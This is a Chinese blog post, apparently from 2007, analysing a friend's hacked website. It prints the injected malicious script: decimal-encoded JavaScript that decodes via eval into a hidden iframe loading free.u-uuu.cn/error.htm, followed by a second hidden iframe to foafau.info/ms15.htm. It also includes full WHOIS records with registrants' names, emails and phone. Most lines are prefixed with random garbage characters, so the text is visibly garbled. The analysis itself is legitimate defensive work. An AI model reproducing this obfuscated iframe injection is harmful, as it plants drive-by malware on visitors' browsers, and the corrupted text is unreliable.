首发在我的博客里面，
nZNS}|6 :si& A;k http://www.areway.cn/?p=175 f t{i6} oTb42a_j{ _N|A I"sj. 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
l>i:M#z& 8?<J,zu@AV <script>t=’60,105,102,114,97,109,101,
zJ1M$ U 32,115,114,99,61,104,116,116,112,58,47,47,
I}y6ke! 102,114,101,101,46,117,45,117,117,117,46,99,
W!9~bBF', 110,47,101,114,114,111,114,46,104,116,109,
8>vNa 32,119,105,100,116,104,61,49,48,48,32,104,
]-X\n
101,105,103,104,116,61,48,62,60,47,105,102,
5\JV } 114,97,109,101,62′;
y[cc<wm$ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
"k"+qR`fH Ik5-ooZ&{ <script>t=’60,105,102,114,97,109,101,32,115,
a.O"I3{?h 114,99,61,104,116,116,112,58,47,47,102,114,
( <OmYnm 101,101,46,117,45,117,117,117,46,99,110,47,
T51oNO%^ 101,114,114,111,114,46,104,116,109,32,119,
I-J %yutB 105,100,116,104,61,49,48,48,32,104,101,105,
EX W?)_pg 103,104,116,61,48,62,60,47,105,102,114,97,
Ty!V)i 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
0$y HO2 f document.write(t);</script>
Ae^4 l)DcwkIG <html xmlns=”
6oq^ n
s- http://www.w3.org/1999/xhtml "J}B
lB “>
m\
qR myO <head>
u0[O /G <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
j[$+DCO#|m <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
b=W kRj <title>首页 - 爱生活家庭网
kwS[ ,Qy\ ? )IH#kL 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
^Nav8dma 转换字符串后的大概内容是（谁点击后果自付）：
R*ex!u60M <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
I(j{D >v l.}gWN9- 查询玉米u-uuu.cn的详细信息：
-biw{ Domain Name: u-uuu.cn
=:xJZy$ ROID: 20070901s10001s64972306-cn
_m#TL60m Domain Status: ok
L5&,sJz Registrant Organization: 王雷
FO] f 4@
Registrant Name: 王雷
.OW5R* Administrative Email:
czlovexs@126.com %.uN|o&n Sponsoring Registrar: 北京万网志成科技有限公司
Mj19;nc0I Name Server:ns.yovole.com
#:MoZw`rlw Name Server:ns1.yovole.com
!HXsxNe Registration Date: 2007-09-01 17:54
mkBQ TQGT Expiration Date: 2008-09-01 17:54
.rDao]K 最后PING了一下地址 都没有什么….
8|hi2Qeu,c .'-t>(}v 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
]8cD, NS <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
F?y
C= <script language=”javascript” src=”
r|3 u]rt http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script VWCC(YRU|$ >
;gRPTk$X3 这个玉米应该有可能是木马作者的：
>u
.u#d e foafau.info的详细信息：
>Bm>/%2 Access to INFO WHOIS information is provided to assist persons in
$ 'a]lR determining the contents of a domain name registration record in the
+}-cvM/* Afilias registry database. The data in this record is provided by
FklO#+<: Afilias Limited for informational purposes only, and Afilias does not
h{)`W
]~ guarantee its accuracy. This service is intended only for query-based
n 2F*a access. You agree that you will use this data only for lawful purposes
&(x>J:b and that, under no circumstances will you use this data to: (a) allow,
sJg3 WN enable, or otherwise support the transmission by e-mail, telephone, or
T Q {8 ee{ facsimile of mass unsolicited, commercial advertising or solicitations
f,@~@f
X to entities other than the data recipient’s own existing customers; or
4 T/ ~erc (b) enable high volume, automated, electronic processes that send
yN#]Q}4 queries or data to the systems of Registry Operator, a Registrar, or
,
d4i0;2}+ Afilias except as reasonably necessary to register domain names or
]I nDcE modify existing registrations. All rights reserved. Afilias reserves
r9-)+R
J the right to modify these terms at any time. By submitting this query,
`E>o:tff you agree to abide by this policy.
9<Th: t|w Domain ID:D22418703-LRMS
Y$3liDeL= Domain Name:FOAFAU.INFO
" M&zW& Created On:20-Nov-2007 16:05:42 UTC
{N-*eV9# Last Updated On:20-Nov-2007 16:05:44 UTC
:3}K$ Expiration Date:20-Nov-2008 16:05:42 UTC
D@iS#+22 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
b0/[+OY Status:CLIENT DELETE PROHIBITED
=D 5!Xq'| Status:CLIENT RENEW PROHIBITED
Zk gj_ Status:CLIENT TRANSFER PROHIBITED
2+LvlS)C Status:CLIENT UPDATE PROHIBITED
U4e9[=q`' Status:TRANSFER PROHIBITED
z-S8s2.Fd Registrant ID:GODA-040110615
`3UvKqe Registrant Name:liu hong
]RW*3X Registrant Organization:
?Y$3R"p@3` Registrant Street1:beijing
/q`f3OV" Registrant Street2:
DEzL] 1;P Registrant Street3:
fvDcE]_%H Registrant City:beijing
BUsAEw M Registrant State/Province:
J \I`# Registrant Postal Code:100000
V Z60 Registrant Country:CN
6lxZo_ Registrant Phone:+86.860108888777
dSzq}w4xY Registrant Phone Ext.:
k0DX|O8mXV Registrant FAX:
OadGwa\:s Registrant FAX Ext.:
QVR-`d/ Registrant Email:bbbshiji@163.com
9Bu=8P? Admin ID:GODA-240110615
UWBR5 Admin Name:liu hong
) . H nK Admin Organization:
K5d>{c Admin Street1:beijing
xkz`is77Y@ Admin Street2:
q +c~Bd Admin Street3:
Fw"x4w Admin City:beijing
`+WQ^dP@ Admin State/Province:
'KNUPi| Admin Postal Code:100000
?vP }#N!=d Admin Country:CN
e(-Vp7vXG Admin Phone:+86.860108888777
4f,%@s)zn Admin Phone Ext.:
}e,*'mCC* Admin FAX:
,<Cz S,( Admin FAX Ext.:
lN::veD Admin Email:bbbshiji@163.com
*>Zq79TG Billing ID:GODA-340110615
XZPq4(,9} Billing Name:liu hong
(K> 4^E8 Billing Organization:
d!q)FRzi Billing Street1:beijing
wQ9fPOm Billing Street2:
}9&~+Q2 Billing Street3:
9t0NO-a Billing City:beijing
n11eJEtm Billing State/Province:
9uY$@7qH Billing Postal Code:100000
> bSQ}kXe Billing Country:CN
X57\sggK Billing Phone:+86.860108888777
" 1$hfs Billing Phone Ext.:
p \,PY Billing FAX:
QEq>zuz5; Billing FAX Ext.:
Y3f2RdGl Billing Email:bbbshiji@163.com
>K;C?gHo Tech ID:GODA-140110615
ljj}X JQ Tech Name:liu hong
<F5x}i~(C Tech Organization:
N%QVkuCbM Tech Street1:beijing
&#[6a&9#[A Tech Street2:
80O[pf*? Tech Street3:
Z <tJ+ Tech City:beijing
V 8J!8=2 Tech State/Province:
,O"zz7 Tech Postal Code:100000
>c8EgSZJ Tech Country:CN
>1d`G%KfG Tech Phone:+86.860108888777
,7|2K &C5 Tech Phone Ext.:
r;&rc:?A Tech FAX:
r}])V[ V Tech FAX Ext.:
(K->5rSU Tech Email:bbbshiji@163.com
C+c;UzbD Name Server:NS27.DOMAINCONTROL.COM
t[ ^ 68] Name Server:NS28.DOMAINCONTROL.COM
@{UtS2L Name Server:
9.$k^|~ Name Server:
XhJbBVS| Name Server:
62%=%XD Name Server:
#s^~'2^%4 Name Server:
pD%Pg5p` Name Server:
v`pIovn Name Server:
n8> ( m, Name Server:
q:ZF6o`Z83 Name Server:
m]:|j[!*M Name Server:
th (<S Name Server:
WMd5Y`y >`c-Fqk 接着下载每个文件里面的代码：
Ucz`^}+ 一步一步看..
PWThm ooP 
iOzY8M+N( 
L+y90 T6? 
C e1^S[ 
yGtGhP8 
=;^#5dpt$ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
